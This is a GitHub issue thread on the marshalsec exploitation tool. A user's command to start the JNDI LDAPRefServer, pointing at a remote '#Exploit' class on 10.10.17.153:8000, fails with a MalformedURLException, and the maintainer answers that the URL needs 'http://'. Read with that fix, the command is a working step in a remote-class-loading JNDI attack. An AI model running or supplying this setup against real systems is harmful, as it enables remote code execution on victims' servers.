mbechler / marshalsec

MIT License
3.39k stars 680 forks source link

Some Errors #40

Closed PSOwned closed 1 year ago

PSOwned commented 1 year ago

When i try the comment: java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "10.10.17.153:8000/#Exploit"

I get these Errors: java.net.MalformedURLException: no protocol: 10.10.17.153:8000/#Exploit at java.base/java.net.URL.(URL.java:674) at java.base/java.net.URL.(URL.java:569) at java.base/java.net.URL.(URL.java:516) at marshalsec.jndi.LDAPRefServer.main(LDAPRefServer.java:76)

I think its because of the java version:

openjdk version "17.0.6" 2023-01-17 OpenJDK Runtime Environment (build 17.0.6+10-Debian-1deb11u1) OpenJDK 64-Bit Server VM (build 17.0.6+10-Debian-1deb11u1, mixed mode, sharing)

But i wasnt able to run: sudo apt-get install openjdk-8-jre ... Paket openjdk-8-jre is not available,... However, the following packages replace it: nvidia-openjdk-8-jre

I installed the nvidia paket but i couldnt changed my java version: sudo update-java-alternatives -l java-1.11.0-openjdk-amd64 1111 /usr/lib/jvm/java-1.11.0-openjdk-amd64 java-1.17.0-openjdk-amd64 1711 /usr/lib/jvm/java-1.17.0-openjdk-amd64 java-1.8.0-openjdk-amd64 1081 /usr/lib/jvm/java-1.8.0-openjdk-amd64

sudo update-java-alternatives -s /usr/lib/jvm/java-1.8.0-openjdk-amd64

But i get these errors: update-alternatives: error: no alternatives... many of no alternatives.

How i can fix this or run the LDAP-Server?

mbechler commented 1 year ago

Add http:// to the URL

PSOwned commented 1 year ago

Damn :D my bad, thank you :)